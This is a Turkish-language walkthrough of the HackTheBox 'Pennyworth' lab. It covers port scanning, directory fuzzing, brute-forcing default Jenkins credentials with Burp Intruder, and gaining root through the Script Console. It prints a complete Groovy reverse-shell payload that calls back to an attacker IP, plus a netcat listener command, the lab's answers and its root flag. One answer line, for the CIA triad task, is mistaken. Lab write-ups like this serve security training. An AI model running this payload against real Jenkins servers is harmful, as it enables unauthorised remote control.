HTB Labs — Tier 1 — “Pennyworth” Makine Çözümü | Yazan: CyberAlp0

Selam dostlar, ben CyberAlp0. HTB destekli yeni bir çözüm yazısıyla, Tier 1 kategorisindeki “pennyworth” makinesiyle geri döndüm. pennyworth, HackTheBox — Tier 1 — Starting Point aşamasındaki VIP laboratuvarlarından biridir. Jenkins, Java, RCE ve varsayılan kimlik bilgileri (Default Credentials) gibi birçok konuya odaklanır ve bu becerileri güçlendirir.
Yönetici Özeti
İzleyeceğimiz adımların yönetici özeti aşağıdadır:
Aşama I: Tarama
Tarama aşaması, ilgi çekici tek bir açık servis tespit eder: Jetty web sunucusu tarafından sunulan ve 8080 portunda çalışan bir HTTP arayüzü. Bu, hemen Java tabanlı bir web uygulamasının varlığına işaret eder. Dışarıdan erişilebilen başka bir servis görünmez; bu da saldırı yüzeyini daraltır ve tüm anlamlı etkileşimin bu web arayüzü üzerinden gerçekleşeceğini gösterir.
Nmap taramasının ardından aşağıdaki bilgilere ulaşacağız
- Çalışan Servis: HTTP
- Servis Sürümü: jetty 9.4.39.v20210325
- Açık Port: 8080/TCP
Aşama II: Bilgi Toplama (Enumeration)
Web uygulamasının Jenkins üzerine kurulu olduğu, dizin keşfi ve erişilebilir uç noktalardan birinde açığa çıkan sürüm bilgisiyle doğrulanır. Bir CI/CD otomasyon platformu olan Jenkins, yönetimsel arayüzler ve güçlü betikleme yetenekleri sunmasıyla bilinir. Daha ileri analiz, aktif bir oturum açma portalını ortaya çıkarır; burada yapılan kimlik bilgisi denemeleri sonunda zayıf varsayılan kimlik bilgilerini açığa çıkararak yönetimsel erişim sağlar. Kimlik doğrulaması yapıldıktan sonra, alttaki host üzerinde doğrudan Groovy tabanlı çalıştırmaya izin verdiği için Jenkins Script Console'un varlığı temel odak noktası hâline gelir — tam bir uzaktan kod çalıştırma potansiyeli anlamına gelen, son derece yüksek etkili bir yetenek.
Aşama III: İstismar (Exploitation)
Jenkins'e ve Script Console'a yönetimsel erişim doğrulandığında istismar oldukça basit hâle gelir. Groovy'nin sistem düzeyinde komut çalıştırma yeteneğinden yararlanan bir saldırgan, makine üzerinde tam kontrol kurabilir. Özel olarak hazırlanmış bir yükün (payload) çalıştırılması, host üzerinde yüksek yetkili bir uzaktan oturum ile sonuçlanır ve sistem dosyalarına, süreçlere ve root kullanıcısının ortamına sınırsız erişim sağlar. Bu ayrıcalıklı dayanak noktasından makinenin bayrağını almak ve ele geçirme işlemini tamamlamak önemsiz hâle gelir. Bu istismar zinciri; varsayılan kimlik bilgilerinin, açıkta kalan yönetim arayüzlerinin ve CI/CD sistemlerindeki betikleme konsollarının güvence altına alınmadığında nasıl tam bir sistem ele geçirmeye yol açabileceğini gösterir.
Girişte daha fazla vakit kaybetmeyelim ve hacklemeye başlayalım!
Adım 1: Starting Point Labs Sunucularına Bağlanma.
Hedef makineye saldırmak için aynı ağda olmanız gerekir. Hedef makineye bağlanma sürecinde sizi adım adım yönlendirecek olan blog yazımı okuyabilirsiniz.
Adım 2: Makineyi Başlatma ve Görevleri Çözmeye Koyulma.
Görev 1: CVE kısaltması neyin açılımıdır?
Cevap: Common Vulnerabilities and Exposures
Çözüm:
CVE kısaltması Common Vulnerabilities and Exposures ifadesinin açılımıdır. Kamuya açık olarak bilinen bilgi güvenliği zafiyetleri ve açıkları için standart bir referans yöntemi sağlayan bir sistemdir. Her CVE kaydı bir kimlik numarası, bir açıklama ve ilgili zafiyet raporları ile bültenlerine yapılan referanslardan oluşur.

Görev 2: Siber güvenlikteki CIA üçlüsüne (CIA triad) atıfta bulunan CIA'daki üç harf neyin açılımıdır?
Cevap: Common Vulnerabilities and Exposures
Çözüm:
Siber güvenlikteki CIA üçlüsü bağlamında üç harf şunları ifade eder:
- C: Gizlilik (Confidentiality)
- I: Bütünlük (Integrity)
- A: Erişilebilirlik (Availability)

Bu ilkeler bilgi güvenliğinin temelini oluşturur; verileri yetkisiz erişimden korumaya, doğruluğunu ve güvenilirliğini sağlamaya ve gerektiğinde erişilebilir olmasını garanti etmeye yardımcı olur.
Görev 3: 8080 portunda çalışan servisin sürümü nedir?
Cevap: Jetty 9.4.39.v20210325
Çözüm:
8080 portu üzerinde çalışan servisin sürümünü öğrenmek için bir ağ haritalama (network mapper) aracı çalıştıracağız. Nmap benim favorim olduğu için, aşağıdaki ekran görüntüsünde gösterildiği gibi şu komutu çalıştıracağım.
sudo nmap -A -sV 10.129.44.107
Nmap taramasına göre, 8080 portu üzerinde çalışan servis ve sürümü “Jetty 9.4.39.v20210325"tir.
Görev 4: Hedefte hangi Jenkins sürümü çalışıyor?
Cevap: 2.289.1
Çözüm:
Makinenin IP adresini “/etc/hosts” dizininde yerel DNS'e yansıttığınızda, web uygulamasına şu adres üzerinden erişebileceksiniz: “http://pennyworth.htb:8080”
Web uygulamasının sonuna portu belirtmeyi unutmayın. Web uygulaması jetty adında bir servis çalıştırır ve 8080 portu üzerinden hizmet verir. Portu belirtmezseniz URL'yi yazdığınızda bir sonuç alamazsınız.
Aşağıdaki sonuçları göreceksiniz:

Bir web uygulamasında oturum açma sayfası varsa, güvenlik değerlendirmenizin bir parçası olarak dizin fuzzing yapmayı düşünmek genellikle iyi bir fikirdir. Oturum açma sayfasında bağlantı verilmemiş ancak ek erişim veya bilgi sağlayabilecek gizli dizinler ya da dosyalar olabilir.
Birçok uygulamada, kolayca keşfedilemeyen ancak dizin fuzzing yoluyla erişilebilen yönetimsel arayüzler veya yönetim sayfaları bulunur.
Dizin fuzzing yapmak için ffuf, gobuster ve dirbuster gibi birçok araç vardır. Ben gobuster kullanacağım. Şu komutu yazın
gobuster dir -u http://pennyworth.htb:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-mediu
Bu komut, Gobuster'ı belirtilen hedefe (HTTP://pennyworth.htb:8080) karşı dizin numaralandırma modunda, bir kelime listesi kullanarak ve 403 Forbidden durumuyla sonuçlanan tüm yanıtları göz ardı ederek çalıştırır. Komutun ayrıntılı açıklaması şöyledir:
- Gobuster: Bu komut, dizin ve dosya brute-force işlemi için kullanılan Gobuster aracını çağırır.
- dir: Bu, Gobuster'ın çalışacağı modu belirtir. dir modu, dizin ve dosya numaralandırma için kullanılır.
- -u: Bu bayrak, tarama için hedef URL'yi belirtir. Bu durumda “http://pennyworth.htb:8080”” olup, burada “pennyworth” ana bilgisayar adı (hostname), “8080” ise port numarasıdır.
- -w: Bu bayrak, fuzzing için kullanılan kelime listesinin yolunu belirtir. Burada “directory-list-2.3-medium.txt” kelime listesini işaret eder ve şu yolda bulunur: “/usr/share/dirbuster/wordlists”.
- -b 403: -b bayrağı, Gobuster'a belirtilen durum kodunu içeren yanıtları göz ardı etmesini söyler. Bu durumda 403 olarak ayarlanmıştır.
Şuna dikkat edin: -b bayrağı, “Forbidden” durumu döndüren sonuçları göstermez. Bu, şu şekilde ortaya çıkabilecek sorunu çözer: “Error: the server returns a status code that matches the provided options for non-existing urls.”

Dizin fuzzing sonucuna göre, 200 HTTP durum koduyla görünen sayfaları test edebiliriz; örneğin /login ve /oops.
Aranacak yaygın durum kodları şunlardır:
→ 200: Bulundu (Found)
→ 301/302: Yönlendirildi (Redirected)
→ 403: Yasaklandı (Forbidden — hassas dizinlere işaret edebilir)
→ 404: Bulunamadı (Not Found — genellikle işe yaramaz)
/login bizden kullanıcı adı ve parolayı bilmemizi gerektireceğinden, web sayfasının sonuçlarını görmek için /oops sayfasını (200 HTTP durum koduna sahip) deneyelim. Web sayfasının sonucu, Jenkins sürümünü açığa çıkarıyor.

Jenkins sürümü 2.289.1'dir
Görev 5: Jenkins Script Console'da girdi olarak hangi tür betik kabul edilir?
Cevap: Groovy
Çözüm:
Bu soruyu yanıtlamadan önce, Jenkins ve Groovy'nin ne olduğunu ve birbirleriyle nasıl ilişkili olduklarını anlayalım.
Jenkins, yazılım geliştirmede sürekli entegrasyon ve sürekli teslimatı (CI/CD) kolaylaştıran açık kaynaklı bir otomasyon sunucusudur. Jenkins, Java tabanlıdır.
Groovy, Java platformu için çevik ve dinamik bir dildir ve güçlü özellikleriyle programlamayı basitleştirir. Groovy, Java'nın sağlamlığını dinamik özelliklerle birleştirir; bu da onu betikleme işlemlerinden tam kapsamlı uygulama geliştirmeye kadar geniş bir yelpazedeki programlama görevleri için uygun kılar.
Jenkins ve Groovy'nin ne olduğunu anladığımıza göre, artık birbirleriyle nasıl ilişkili olduklarını öğrenelim
Jenkins, aşağıdakiler de dahil olmak üzere çeşitli görevler için betikleme dili olarak Groovy kullanır:
- Script Console: Jenkins, yöneticilerin Jenkins'i programatik olarak yönetmek ve yapılandırmak için Groovy betikleri çalıştırabilecekleri yerleşik bir Script Console sunar.
- Pipeline as Code: Jenkins pipeline'ları Groovy söz dizimi kullanılarak tanımlanabilir; bu da kullanıcıların karmaşık derleme ve dağıtım iş akışlarını açık, sürdürülebilir bir şekilde yazmasına olanak tanır.
- Eklentiler (Plugins): Birçok Jenkins eklentisi, Jenkins işlevselliğini genişletmek için yeteneklerinden yararlanarak Groovy ile geliştirilmiştir.
Görev 6: Hedef VM Windows çalıştırıyor olsaydı, Groovy Script parçacığındaki “String cmd” değişkeni neye eşit olurdu?
Cevap: cmd.exe
Çözüm:
Tamam, bu soru herkes için çok net olmayabilir. Aslında, bir Groovy betiği Windows işletim sisteminde çalıştırıldığında cmd değişkenine konması uygun olacak bir komut örneği soruluyor.
Jenkins'in çeşitli görevler için betikleme dili olarak Groovy kullandığını öğrendiğimiz gibi, bu ilişkiyi istismar edip Groovy'ye biraz kod enjekte ederek Jenkins ile etkileşime geçeceğiz. Yani Groovy, Jenkins ile etkileşime geçmemizi sağlayacak içerideki adamımız olacak. Jenkins, Windows tabanlı bir uygulamada kullanılıyor olabilir. Bu nedenle, bu ilişkiyi istismar edip Windows işletim sistemiyle etkileşime geçmek istersek, Windows işletim sisteminde komut istemini açıp diğer komutları çalıştırmak için “String cmd” değişkenini “cmd.exe”ye eşit yapacağız.

Yani Groovy betiği başlangıçta Unix benzeri bir sistemde çalışacak şekilde tasarlanmışsa, komut şöyle olabilir
string cmd = "ls -la"Windows üzerinde çalışıyorsa, komut şöyle olacaktır
string cmd = "dir"ls -la, Linux'ta dizinleri listelemek için kullanılır. dir ise Windows işletim sisteminde listeleme için kullanılır.
Jenkins ve Groovy hakkında daha fazla bilgi için şu kaynağa göz atın.
Görev 7: Linux'ta ağ arayüzlerimizin bilgilerini görüntülemek için “ip a” dışında hangi komutu kullanabiliriz?
Cevap: ifconfig
Çözüm:
Bu komut, ağ arayüzleri hakkında IP adresleri, MAC adresleri ve diğer yapılandırma bilgileri dahil olmak üzere ayrıntılar sağlar.

- eth0: bir sistemdeki ilk Ethernet ağ arayüzüne işaret eder. Kablolu ağ bağlantıları için kullanılır. Birden fazla Ethernet arayüzünüz varsa, bunlar eth1, eth2 vb. olarak adlandırılabilir
- lo: “loopback”in kısaltmasıdır. Sistemin kendisiyle iletişim kurmak için kullandığı sanal bir ağ arayüzü olan loopback arayüzünü temsil eder. Genellikle 127.0.0.1 IP adresi atanır
- tun0: Tünelleme protokolleri tarafından oluşturulan sanal bir ağ arayüzüne işaret eder. Yaygın olarak VPN (Sanal Özel Ağ) bağlantıları için kullanılır.
Görev 8: Netcat'in UDP taşıma modunu kullanması için hangi anahtarı (switch) kullanmalıyız?
Cevap: -u
Çözüm:
nc -u [hostname] [port]- -u: Bu anahtar, Netcat'e varsayılan TCP protokolü yerine UDP kullanmasını söyler.
- [Hostname]: Bunu hedef ana bilgisayar adı (hostname) veya IP adresiyle değiştirin.
- [Port]: Bunu bağlanmak istediğiniz port numarasıyla değiştirin.
Görev 9: Bir hedef ana bilgisayarın, saldırgan ana bilgisayara geri bağlantı başlatmasını sağlama işlemini tanımlamak için kullanılan terim nedir?
Cevap: Reverse Shell (Ters Kabuk)
Çözüm:
Reverse shell, hedef ana bilgisayar (kurban) tarafından saldırganın makinesine geri başlatılan bir kabuk oturumudur. Bu, saldırganın hedef sistemde sanki yerel olarak çalışıyormuş gibi komut çalıştırmasına olanak tanır.
Reverse shell'in nasıl çalıştığını anlamanızı sağlayacak kısa bir video aşağıda yer alıyor
Görev 10: Bayrağı Gönderme
Cevap: 9cdfb439c7876e703e307864c9167a15
Çözüm:
Şimdiye kadarki bulgularımızın bir yol haritasını hayal edelim ve topladığımız bilgileri erişim sağlamak ve bu makineyi ele geçirmek (pwn) için nasıl kullanabileceğimizi görelim.
Bulguları şu şekilde özetleyebiliriz:
- Bu uygulama, 8080 portu üzerinde Jetty adında bir servis çalıştırıyor.
- Nmap aracılığıyla, bir robots.txt dosyası olduğunu keşfettik; bu da bizi gobuster kullanarak dizin gezinme (directory traversal) yapmaya yönlendirdi.
- /oops gibi 200 HTTP durum koduna sahip birçok sayfa bulduk; bu da bizi uygulamanın Jenkins tabanlı olduğuna ve sürümünün 2.289.1 olduğuna inandırdı.
- Jenkins'in betikleme dili olarak Groovy kullandığını öğrendik.
Zihin Haritası:
- Öncelikle /login sayfasından uygulamaya erişmeyi deneyin.
- Reverse shell kullanarak makineye erişim sağlamak için kodunuzu enjekte edebileceğiniz Groovy konsoluna ulaşmanın yolunu bulun.
Birinci: Kullanıcı adını ve parolayı elde etme
Yaygın kullanıcı adı ve parola listesi kullanarak uygulamanın kullanıcı adını ve parolasını elde etmek için burpsuite kullanacağız.

1- burpsuite'i açın ve proxy'yi devreye alın, ardından isteği yakalamak (intercept) için herhangi bir kullanıcı adı ve parola girmeyi deneyin. Ben kullanıcı adı (admin) ve parola (12345) deneyeceğim. İsteği aşağıdaki gibi görün

2- İsteği intruder'a gönderin. Ardından intruder sekmesine gidin ve hem kullanıcı adı hem de parola değerleri için $ ekleyin

Uyguladığımız saldırı türü, tek bir kullanıcı hesabını çeşitli kullanıcı adı ve parola kombinasyonlarıyla hedeflemek için birden fazla denemeyi birleştirdiğimiz “Cluster Bomb Attack”tır.

Aynısını parola için de yapın. Parola değerini $ ile işaretleyin, ardından payload konumunu 2 olarak ayarlayın, sonra olası parola değerlerini yapıştırın. Ardından saldırıyı başlatın.

Burp, kullanıcı adı listesi ile karşılık gelen parolalar arasındaki tüm olası kombinasyonları test etmeye başlayacak. Sonunda kullanıcı adının “root”, parolanın ise “password” olduğunu bulacağız.
İkinci: Makineyi ele geçirmek (pwn) için reverse shell çalıştıracağımız Groovy konsolunu bulma
Kullanıcı adı ve parolayı kullanarak giriş yapın; kontrol paneli aşağıdaki gibi olmalıdır

1- “Manage Jenkins”e basın, ardından “Script Console”a gidin

2- Reverse shell'imizi başlatmak için kullanacağımız payload'u şu kaynakta bulabilirsiniz. Reverse shell'i kopyalayıp Groovy konsoluna yapıştırmanız yeterli. Ancak çalıştırmadan önce, şu değerleri değiştirdiğinizden emin olun:
String host="10.10.16.161";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();- String Host: IP adresinizi girin, “ifconfig yazdığınızda tun0 arayüzüne karşılık gelen adresi bulun”. eth0 arayüzüne karşılık gelen yerel IP'nizi yazmayın, çünkü makineye bir VPN üzerinden bağlanıyorsunuz.
- Int port: Portu ihtiyacınız olan herhangi bir porta değiştirin. 4444 yapın
- String cmd: değerini “cmd.exe” yerine “bash” olarak değiştirin, çünkü Görev 6'da açıklandığı gibi bir Windows makinesini değil, bir Linux makinesini hedefliyoruz.


3- Makinenizde Netcat dinleyicisini (listener) başlatın
“10.10.16.161” IP'si ve “4444” portu üzerinden gelen tüm trafiği dinlemek için makinemizde netcat dinleyicisini başlatın
sudo nc -lvnp 4444
Whoami yazdığınızda, root olarak giriş yaptığınızı göreceksiniz. “ls” yazmak, bulunduğunuz yolu listeler. /root dizinine gidip içeriğini listelemek, aşağıda gösterildiği gibi flag.txt dosyasını görüntüleyecek

pennyworth makinesinin root bayrağı şudur: 9cdfb439c7876e703e307864c9167a15
HTB — Tier 1 — Starting Point aşamasından pennyworth makinesini çözme hakkındaki blog yazımı okumaktan keyif aldığınızı umuyorum.
Başka bir write-up'ta görüşmek üzere!


